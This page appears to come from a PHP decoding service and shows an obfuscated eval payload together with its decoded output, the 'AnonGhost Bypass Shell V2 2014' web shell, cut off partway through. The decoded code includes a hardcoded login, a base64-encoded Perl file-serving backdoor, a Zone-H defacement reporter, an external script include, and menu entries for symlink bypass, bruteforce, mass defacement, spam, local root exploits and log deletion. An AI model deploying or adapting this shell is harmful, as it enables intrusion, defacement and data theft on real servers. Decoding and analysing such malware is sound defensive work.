Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('7P3ZadvI0jAKXkqtSO+Ab2wX7c+y..

Decoded Output download

session_start();

error_reporting(E_ERROR | E_PARSE);
@ini_set("max_execution_time",0);
@set_time_limit(0); #No Fx in SafeMode
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);

// global configs

$username="AnonGhost";
$password="AnonGhost"; // shell password, change it, max 50 chars
$warn="<center><img src='http://mfs1.cdnsw.com/fs/Nouveau_dossier/6qyet-alarme.gif'   height='150px' width='150px'/></center><br>
<audio autoplay loop > <source src=\"http://soundbible.com/mp3/Red%20Alert-SoundBible.com-108009997.mp3\" type=\"audio/mpeg\"></audio>";
$about = "<style type=\"text/css\">body { background-color:#222222; color: rgb(0, 119, 0); text-align: center } a{text-decoration:none; font-family: Tahoma, Geneva; color:#007700; padding:2px 2px;}
      a:hover{color:#009900; text-shadow:#00ff00 0px 0px 3px;} 
.cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 16px; text-shadow: 0px 0px 3px ; } .cont a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ;} 
div.logindiv { background-color:#353535; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #828282; border-radius: 5px; box-shadow: 0px 0px 10px #000000; }
div.logindiv:hover { background-color:#e4e4e4; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #007700; border-radius: 5px; box-shadow: 0px 0px 8px #00bb00; }</style>
<center><span style='font-size:25px; font-family:Fredericka the Great; color:#009900'>
AnonGhost Bypass Shell V2 2014</span><br><br><font color=\"#007700\" size=\"1pt\">Coded by </font><font  color=\"#00bb00\" size=\"1pt\">Virusa Worm</font> <font color=\"#007700\" size=\"1pt\">-</font> <font color=\"#00bb00\" size=\"1pt\">Mauritania Attacker</font> | <font color=\"#007700\" size=\"1pt\">Special thankz to : </font><font color=\"#00bb00\"  size=\"1pt\">AnonGhost Team</font><br><center><div class=\"logindiv\"><table cellpadding=\"7\" cellspacing=\"2\">
<br><center><iframe src='https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&amp;send=false&amp;layout=standard&amp;width=400&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=arial&amp;height=35' scrolling='no' frameborder='0' style='border:none; overflow:hidden; width:350px; height:20px;' allowTransparency='true'></iframe></center></table></div></center><br><font color=\"#009900\" size=\"1pt\">Greetz to : </font><br><font color=\"#00bb00\" size=\"1pt\">
AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color=\"#007700\" size=\"1pt\">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color=\"#007700\" size=\"1pt\">[pasangan galo.. lol..]]</font><br></center><br>";
$ben = "<style type=\"text/css\">body { background-color:#222222; color: rgb(0, 119, 0); text-align: center }  
    </style>
<center><img src=\"http://www4.0zz0.com/2014/08/22/21/544545766.jpg\" /><br><br><center>
<span style=\"font-size:30px; font-family:Fredericka the Great; color:#009900\">AnonGhost Bypass Shell V2 2014</span><br><font color=\"#008800\" size=\"1pt\">Coded by </font><font  color=\"#00bb00\" size=\"1pt\">Virusa Worm</font> <font color=\"#006600\" size=\"1pt\">-</font> <font color=\"#00bb00\" size=\"1pt\">Mauritania Attacker</font><br><br><center><img src=\"http://www7.0zz0.com/2014/08/22/20/260354169.png\"></center><br><span style=\"font-size:40px; font-family:Fredericka the Great; color:#ff0000\">You Have Been BANNED using this Shell</span><br><br><br><font color=\"#007700\" size=\"1pt\">AnonGhost Bypass Shell V2 2014 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font> <br><br><font color=\"#009900\" size=\"1pt\">At first a Web Hacker was someone who would spend long hours trying to find bugs and exploit manually.</font><br><font color=\"#009900\" size=\"1pt\">The term has now changed known as a Defacer nowadays.<br>Tools does not Made Hackers , Hackers make Tools.<br>Do not Learn To Hack , Hack to Learn.wkkwk..<br><br><font color=\"#00ff00\" size=\"1pt\">\"</font>Keep Calm and enjoy Hacking \!/<font color=\"#00ff00\" size=\"1pt\">\"</font><br><br><br><font color=\"#007700\" size=\"1pt\">Special thankz to : </font><font color=\"#00bb00\" size=\"1pt\">AnonGhost Team</font><br><br>
<center><div class=\"logindiv\"><table cellpadding=\"7\" cellspacing=\"2\">
<center><br><iframe src=\"https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&amp;send=false&amp;layout=standard&amp;width=400&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=arial&amp;height=35\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:350px; height:20px;\" allowTransparency=\"true\"></iframe></center></table></div></center><br>
<font color=\"#009900\" size=\"1pt\">Greetz to : </font><br><font color=\"#00bb00\" size=\"1pt\">
AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color=\"#007700\" size=\"1pt\">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color=\"#007700\" size=\"1pt\">[pasangan galo.. lol..]]</font><br></font></center>
</body>
</html>";
		
$symlink = stripslashes(base64_decode("IyEvdXNyL2Jpbi9lbnYgcGVybA0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KDQp1c2UgU29ja2V0Ow0KDQokcG9ydCA9IDEzMTIzOw0KDQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoXCd0Y3BcJyk7DQpzb2NrZXQoUywmUEZfSU5FVCwmU09DS19TVFJFQU0sJHByb3RvY29sKSB8fCBkaWU7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kIChTLHNvY2thZGRyX2luKCRwb3J0LElOQUREUl9BTlkpKSB8fCBkaWU7DQpsaXN0ZW4gKFMsMykgfHwgZGllOw0Kd2hpbGUoMSl7DQoJYWNjZXB0IChDT05OLFMpOw0KCSRyZXE9PENPTk4+OyBjaG9tcCgkcmVxKTsgJHJlcT1+cy9cXHIvL2c7DQoJJHJlcSA9fiBzL1xcJShbQS1GYS1mMC05XXsyfSkvcGFjayhcJ0NcJywgaGV4KCQxKSkvc2VnOw0KCQ0KCXByaW50ICRyZXEuXCJcXHJcXG5cIjsNCgkNCgkkaGVhZGVycyA9IFwiSFRUUC8xLjEgMjAwIE9LXFxyXFxuXCI7DQoJJGhlYWRlcnMgLj0gXCJTZXJ2ZXI6IFBlcmxcXHJcXG5cIjsNCgkNCgkkdGFyZ2V0ID0gJHJlcTsNCglpZigkcmVxID1+IC9HRVQgLiogSFRUUC4qLyl7DQoJCSR0YXJnZXQgPX4gcy9HRVRcXCAvLzsNCgkJJHRhcmdldCA9fiBzL1xcIEhUVFAuKi8vOw0KCQkkcmVzcCA9IFwiXCI7DQoJCWlmKC1kICR0YXJnZXQpew0KCQkJaWYoISgkdGFyZ2V0ID1+IC8uKlxcLyskLykpew0KCQkJCSR0YXJnZXQgPSAkdGFyZ2V0LlwiL1wiOw0KCQkJfQ0KCQkJDQoJCQkkcmVzcCA9IFwiPCFET0NUWVBFIGh0bWwgUFVCTElDIFxcXCItLy9XM0MvL0RURCBIVE1MIDMuMiBGaW5hbC8vRU5cXFwiPg0KCQkJCQk8aHRtbD4NCgkJCQkJPHRpdGxlPkRpcmVjdG9yeSBsaXN0aW5nIGZvciBcIi4kdGFyZ2V0LlwiPC90aXRsZT4NCgkJCQkJPGJvZHk+DQoJCQkJCTxoMj5EaXJlY3RvcnkgbGlzdGluZyBmb3IgXCIuJHRhcmdldC5cIjwvaDI+DQoJCQkJCTxocj48dWw+XCI7DQoJCQkJCQ0KCQkJaWYob3BlbmRpcihESVIsJHRhcmdldCkpew0KCQkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKXsNCgkJCQkJaWYoLWQgJHRhcmdldC4kZmlsZSl7DQoJCQkJCQlpZigoJGZpbGUgZXEgXCIuXCIpIHx8ICgkZmlsZSBlcSBcIi4uXCIpKXsgbmV4dDsgfQ0KCQkJCQkJJHJlc3AgLj0gXCI8bGk+PGEgaHJlZj1cXFwiXCIuJHRhcmdldC4kZmlsZS5cIi9cXFwiPlwiLiRmaWxlLlwiLzwvYT48L2xpPlxcclxcblwiOw0KCQkJCQl9DQoJCQkJCWVsc2lmKC1mICR0YXJnZXQuJGZpbGUpew0KCQkJCQkJJHJlc3AgLj0gXCI8bGk+PGEgaHJlZj1cXFwiXCIuJHRhcmdldC4kZmlsZS5cIlxcXCI+XCIuJGZpbGUuXCI8L2E+PC9saT5cXHJcXG5cIjsNCgkJCQkJfQ0KCQkJCX0NCgkJCQljbG9zZWRpcihESVIpOw0KCQkJfQ0KDQoJCQkkcmVzcCAuPSBcIjwvdWw+PGhyPg0KCQkJCQk8L2JvZHk+DQoJCQkJCTwvaHRtbD5cIjsNCgkJCQkJDQoJCQkkY29ubGVuID0gbGVuZ3RoKCRyZXNwKTsNCgkJCSRjb250eXBlID0gXCJ0ZXh0L2h0bWxcIjsNCgkJCXByaW50IFwiRGlyIDogXCIuJHRhcmdldC5cIlxcclxcblwiOw0KCQl9DQoJCWVsc2lmKC1mICR0YXJnZXQpew0KCQkJJGNvbmxlbiA9IC1zICR0YXJnZXQ7DQoJCQkkY29udHlwZSA9IFwidGV4dC9wbGFpblwiOw0KCQkJcHJpbnQgXCJGaWxlIDogXCIuJHRhcmdldC5cIiAoXCIuJGNvbmxlbi5cIilcXHJcXG5cIjsNCgkJfQ0KDQoJCXByaW50IFwiY29udHlwZSA6IFwiLiRjb250eXBlLlwiXFxyXFxuXCI7DQoJCXByaW50IFwiY29ubGVuIDogXCIuJGNvbmxlbi5cIlxcclxcblwiOw0KCQkNCgkJJGhlYWRlcnMgLj0gXCJDb250ZW50LVR5cGU6IFwiLiRjb250eXBlLlwiXFxyXFxuXCI7DQoJCSRoZWFkZXJzIC49IFwiQ29udGVudC1MZW5ndGg6IFwiLiRjb25sZW4uXCJcXHJcXG5cIjsNCgkNCgkJcHJpbnQgQ09OTiAkaGVhZGVycy5cIlxcclxcblwiOw0KCQkNCgkJaWYoLWQgJHRhcmdldCl7DQoJCQlwcmludCBDT05OICRyZXNwOw0KCQl9DQoJCWVsc2lmKC1mICR0YXJnZXQpew0KCQkJaWYob3BlbihGSUxFLCR0YXJnZXQpKXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsgDQoJCQkJCXByaW50IENPTk4gJGRhdGE7DQoJCQkJfSANCgkJCQljbG9zZShGSUxFKTsgDQoJCQl9DQoJCX0NCgl9DQoJY2xvc2UgQ09OTjsNCn0NCmV4aXQgMDs="));

function Zip($source, $destination)
{
    if (!extension_loaded('zip') || !file_exists($source)) {
        return false;
    }

    $zip = new ZipArchive();
    if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
        return false;
    }

    $source = str_replace('\', '/', realpath($source));

    if (is_dir($source) === true)
    {
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);

        foreach ($files as $file)
        {
            $file = str_replace('\', '/', realpath($file));

            if (is_dir($file) === true)
            {
                $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
            }
            else if (is_file($file) === true)
            {
                $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
            }
        }
    }
    else if (is_file($source) === true)
    {
        $zip->addFromString(basename($source), file_get_contents($source));
    }

    return $zip->close();
}

function getperms ($file) {        
    $perm = substr(sprintf('%o', fileperms($file)), -4);
    return $perm;
}

if(isset($_GET['zip'])) {
    $src = $_GET['zip'];
    $dst = getcwd()."/".basename($_GET['zip']).".zip";
    if (Zip($src, $dst) != false) {
        $filez = file_get_contents($dst);
        header("Content-type: application/octet-stream");
        header("Content-length: ".strlen($filez));
        header("Content-disposition: attachment; filename=\"".basename($dst)."\";");
        echo $filez;
    }
    exit;
}

function showDrives()
    {
        global $self;
        foreach(range('A','Z') as $drive)
        {
            if(is_dir($drive.':\'))
            {
                ?>
                &nbsp;&nbsp;&nbsp;&nbsp;<a style="font-family:vernada;color:#00dd00" href='<?php echo $self ?>?go=<?php echo $drive.":\"; ?>&action=mumpet'>
                    <?php echo $drive.":\" ?>
                </a> 
                <?php
            }
        }
    }


function HumanReadableFilesize($size)
    {
 
        $mod = 1024;
 
        $units = explode(' ','B KB MB GB TB PB');
        for ($i = 0; $size > $mod; $i++) 
        {
            $size /= $mod;
        }
 
        return round($size, 2) . ' ' . $units[$i];
    }
function getFilePermissions($file)
{
    
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

return $info;

}
function dirSize($directory) {
    $size = 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
        try {       
            $size += $file->getSize();
        }
        catch (Exception $e){    // Symlinks and other shits
            $size += 0;
        }
    }
    return $size;
}


function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
	$k = curl_init();
	curl_setopt($k, CURLOPT_URL, $url);
	curl_setopt($k,CURLOPT_POST,true);
	curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
	curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
	$kubra = curl_exec($k);
	curl_close($k);return $kubra;
}

?>
<html>
<head>
<title>AnonGhost Bypass Shell V2 2014</title><link rel="shortcut icon" href="http://www14.0zz0.com/2014/06/04/21/396554394.png" type="image/x-icon" />
<SCRIPT SRC=https://illegallab.com/say.js></SCRIPT>
<style type="text/css">
*{
margin:0; padding:0; border:0; }
body{ background-color: #222222 !important; color: #009900; text-shadow:#000 0px 2px 7px;}
      a{text-decoration:none; font-family: Tahoma, Geneva; color:#007700; padding:2px 2px;}
      a:hover{color:#009900; text-shadow:#00ff00 0px 0px 3px;}
input, textarea, select{ outline: none; }
a{ text-decoration:none; background:0 !important; color: #007700; text-shadow: #000000 0px 0px 4px; }
a:hover{ text-decoration:none; color: #00dd00; text-shadow: #00ff00 0px 0px 4px; }
#menu a{ padding: 3px; border: 1px solid #007700; box-shadow: 0px 0px 3 #007700; color: #007700; text-decoration: none;color: #007700; text-shadow: 0px 0px 0px #007700; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:12px; padding: 1px; -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(85,85,85) 0px 0px 0px;   -moz-box-shadow: rgb(85,85,85) 0px 0px 0px; }
#menu a:hover{ padding: 3px; border: 1px solid #00bb00; color: #00ff00; box-shadow: 0px 0px 3px #00bb00; text-shadow: 0px 0px 3px #00bb00; padding: 1px; -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(51,51,51) 0px 0px 3px;   -moz-box-shadow: rgb(51,51,51) 0px 0px 3px;}
#det{ border-top: 1px solid #007700; border-bottom: 1px solid #007700; font-family: Tahoma; font-size: 11px; width:90%;}
#deti{ border-top: 0px solid #007700; border-bottom: 1px solid #007700; font-family: Tahoma; font-size: 11px; width:47%;}
input[type=submit]{ padding: 3px; color: #00770;  font-weight: bold; text-align: center;  text-shadow: 0 1px rgba(255, 255, 255, 0.3);  background: #aeaeae;  background-clip: padding-box;  border: 1px solid #284473;  border-bottom-color: #223b66;  border-radius: 4px;  cursor: pointer;  background-image:-webkit-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: -moz-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: -o-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: linear-gradient(to bottom, #eaeaea, #d0d0d0);  -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15);  box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); }
input[type=text]{ padding: 3px; color: #009900; text-shadow: #777777 0px 0px 3px; border: 1px solid #007700; background: transparent; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(85,85,85) 0px 0px 4px;   -moz-box-shadow: rgb(85,85,85) 0px 0px 4px;}
input[type=submit]:hover, input[type=text]:hover{ color: #ffffff; text-shadow: #006600 0px 0px 4px; box-shadow: 0px 0px 4px #00dd00; border: 1px solid #00dd00;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgba(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgba(0,119,0) 0px 0px 4px;}
select{ padding: 3px; width: 162px; color: #00aa00; text-shadow:#000 0px 2px 7px; border: 1px solid #007700; background: transparent; text-decoration: none; box-shadow: 0px 0px 4px #00aa00;  padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;
   border-radius: 4px;   -webkit-box-shadow: rgb(85, 85, 85) 0px 0px 4px;   -moz-box-shadow: rgb(85, 85, 85) 0px 0px 4px;}
select:hover{ border: 1px solid #00dd00; box-shadow: 0px 0px 4px #00dd00;   padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgba(0,119,0) 0px 0px 4px;
   -moz-box-shadow: rgba(0,119,0) 0px 0px 4px;}
#commands{ margin-left: 350px; margin-right: 350px; }
option{ color: #00aa00; }
#box{ margin-left: 250px; margin-right: 250px; border: 1px solid #007700; box-shadow: 0px 0px 4px #007700;}
#box span{ margin-left: 10px; margin-right: 10px; display:block; padding: 4px; }
#box span:hover{ background:#333333; padding: 3px; border: 1px solid #007700; color: #009900; }
#za{ float:right; 
   border: 0px solid #007700;
   background: transparent;

   color: #009900;
   font-size: 11px;
   font-family: Tahoma, Arial, sans-serif
   text-decoration: none;
   vertical-align: middle;
}
#za:hover {   border-color: #555555;   color: #ffffff;   }
#za:active {   border-top-color: #e0e000;   background: #e0e000;   }
#sourcea{ color: #999999; background-color:transparent; width: 650px; height: 450px;  text-shadow:#000000 0px 2px 7px; box-shadow: 0px 0px 4px #e4e4e4;}
#source{ color: #007700; background-color:transparent; width: 550px; height: 300px;  text-shadow:#000000 0px 2px 7px; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(51,51,51) 0px 0px 4px;   -moz-box-shadow: rgb(51,51,51) 0px 0px 4px;}

#onmouseover:hover{ background-color:red; }
.tul { face:Tahoma, Geneva, sans-serif; font-size: 7pt; }
.cont a{ text-decoration: none; color:rgb(0, 119, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 14px; text-shadow:0px 2px 7px #333333 ;  }
.cont a:hover{ color: #00dd00 ;  text-shadow:0px 0px 4px #00ff00 ; }
.conte a{ text-decoration: none; color:rgb(0, 119, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 11px; text-shadow:0px 2px 7px #000000 ; width:90%; }
.conte a:hover{ color: #00dd00 ; font-family: Tahoma, Arial, sans-serif  ; font-size: 11px;  text-shadow:0px 0px 4px #00dd00 ; }
.cone a{ text-decoration: none; color:rgb(0, 136, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 11px; text-shadow:0px 2px 7px #000000 ;  }
.cone a:hover{ color: #00ff00 ; text-shadow:0px 0px 3px #007700 ; }
.footer{ font-family:Tahoma, Arial, sans-serif; color: #ff6000 ; font-size: 11pt; }
.footer a : hover{ color: #e4e4e4 ; text-shadow: 0px 0px 4px #e4e4e4; }
.area { color: #00bb00; font-size: 9pt; text-shadow:#000000 0px 2px 7px; background-color:transparent; box-shadow: 0px 0px 4px #009900;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgb(0,119,0) 0px 0px 4px; }
.tmp tr td{ border: solid 1px #007700; padding: 2px ; font-size: 11px; }
.tmp tr td a { text-decoration: none; }
.tmpe tr td{ font-family: Tahoma; color: #009900; border: solid 0px #007700; padding: 2px ; font-size: 11px; }
.tmpe tr td a { text-decoration: none; }
.teke a{ padding: 1px; border: 1px solid #007700; box-shadow: 0px 0px 4px #007700; text-decoration: none; color: #009900; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:11px;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px;   -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;}
.teke a:hover{ padding: 1px; border: 1px solid #00bb00;  color: #e4e4e4; box-shadow: 0px 0px 4px #00bb00;   padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgba(0,221,0) 0px 0px 4px;   -moz-box-shadow: rgba(0,221,0) 0px 0px 4px;}
div#sonuc{width:400px; height:200px; color: #007700; font-size: 8pt; background-color:transparent; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px;   -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;} 
div#form{font:12px/21px Tahoma;} 
input#submit{width:445px;height:55px;font:19px/21px Arial}
#ftr{ border-top: 0px solid #ababab; border-bottom: 0px solid #ababab; font-family: Courier New, Courier, monospace; color: #00bb00; font-size: 10px; width="75%"}
#ftr:hover{ color:#00ff00; text-shadow:#000000 0px 0px 3px;} 
div.logindiv { background-color:#353535; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #828282; border-radius: 5px; box-shadow: 0px 0px 10px #000000; }
div.logindiv:hover { background-color:#e4e4e4; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #007700; border-radius: 5px; box-shadow: 0px 0px 8px #00bb00; }
#boxe{ margin-left: 230px; margin-right: 230px; border: 0px solid #007700; border-radius: 4px; box-shadow: 0px 0px 0px #009900;}
#boxe a{ margin-left: 10px; margin-right: 10px; display:block; padding: 4px;}
</style>
</head>
<body>
<?php


if(isset($_SESSION['loggedin']) && !empty($_SESSION['loggedin'])){
// welcome user
echo '<center>'.base64_decode("PGltZyBzcmM9Imh0dHA6Ly93d3c0LjB6ejAuY29tLzIwMTQvMDgvMjIvMjEvNTQ0NTQ1NzY2LmpwZyIgLz4=").'</center>' ;
echo '<center><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">';
echo '<div id="deti"><font color="#009900" style="font-size: 7pt">Kernel Version : </font><font color="#00bb00" style="font-size: 7pt">';echo php_uname();
echo '</font>';

echo '<br><font color="#009900" style="font-size: 7pt">PHP Version:</font> <font color="00bb00" style="font-size: 7pt">';echo phpversion();

echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Current User :</font> <font color="00bb00" style="font-size: 7pt">';echo get_current_user();

echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">User ID :</font> <font color="00bb00" style="font-size: 7pt">';echo getmyuid();

echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Group :</font> <font color="00bb00" style="font-size: 7pt">';echo getmygid();

echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Cwd :</font> <font color="00bb00" style="font-size: 7pt">';echo getcwd();
echo '</font></b></div><br></center>';

?>
<center>
<div id="menu" class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:20px; align="center">
<a href="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>">&nbsp;Home&nbsp;</a>
<a href="?action=mumpet">&nbsp;File Manager&nbsp;</a>
<a href="?action=sime">&nbsp;Symlink&nbsp;</a>
<a href="?action=baipas">&nbsp;Bypass&nbsp;</a>
<a href="?action=brut">&nbsp;Bruteforce&nbsp;</a>
<a href="?action=mase">&nbsp;Mass&nbsp;</a>
<a href="?action=cgi4e">&nbsp;CGI&nbsp;</a>
<a href="?action=sesc">&nbsp;Server Security&nbsp;</a>
<a href="?action=spammm">&nbsp;Spam&nbsp;</a>
<a href="?action=tule">&nbsp;Tools&nbsp;</a>
<a href="?action=fcbookk">&nbsp;Facebook&nbsp;</a>
<a href="?action=iplookdom">&nbsp;Ip Reverse&nbsp;</a>
<a href="?action=w00ts">&nbsp;LocalRoots&nbsp;</a>
<a href="?action=scannner">&nbsp;Scan&nbsp;</a>
<a href="?action=aplot">&nbsp;Upload&nbsp;</a>
<a href="?action=deltlogss">&nbsp;Logs&nbsp;</a>
<a href="?action=abot">&nbsp;About&nbsp;</a>
<a href="?action=logout">&nbsp;Logout&nbsp;</a>
<a href="?action=kill">&nbsp;Kill&nbsp;</a>
<audio autoplay> <source src="http://www.soundescapestudios.com/SESAudio/SES%20Site%20Sounds/Beeps/Beeps-short-01.wav" type="audio/mpeg"></audio>

</div><br>
<div id="det">
<?php
if(ini_get('safe_mode') == '1'){
echo '<font color="#007700"> Safe mode:</font><b class="tul"><font color="red"> ON&nbsp;</font></font></b>-';
}
else{
echo '<font color="#007700"> Safe mode:</font><b class="tul"><font color="ff0000"> OFF&nbsp;</font></b>-';
}
if(ini_get('magic_quotes_gpc') == '1'){
echo '<font color="#007700"> Magic_quotes_gpc:</font><b class="tul"><font color="red"> ON&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> Magic_quotes_gpc:</font><b class="tul"><font color="ff0000"> OFF&nbsp;</font></b>-';
}
if(function_exists('mysql_connect')){
echo '<font color="#007700"> Mysql:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> Mysql:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-';
}
if(function_exists('mssql_connect')){
echo '<font color="#007700"> Mssql:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> Mssql:</font><b class="tul"><font color="ffff00"> OFF&nbsp;</font></b>-';
}
if(function_exists('pg_connect')){
echo '<font color="#007700"> PostgreSQL:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> PostgreSQL:</font><b class="tul"><font color="ffff00"> OFF&nbsp;</font></b>-';
}
if(function_exists('ocilogon')){
echo '<font color="#007700"> Oracle:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> Oracle:</font><b class="tul"><font color="ffff00"> OFF&nbsp;</font></b>-';
}
if(function_exists('curl_version')){
echo '<font color="#007700"> Curl:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> Curl:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-';
}
if(function_exists('exec')){
echo '<font color="#007700"> Exec:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> Exec:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-';
}
if(!ini_get('open_basedir') != "on"){
echo '<font color="#007700"> Open_basedir:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> Open_basedir:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
if(!ini_get('ini_restore') != "on"){
echo '<font color="#007700"> Ini_restore:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> Ini_restore:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
if(function_exists('symlink')){
echo '<font color="#007700"> Symlink:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
else{
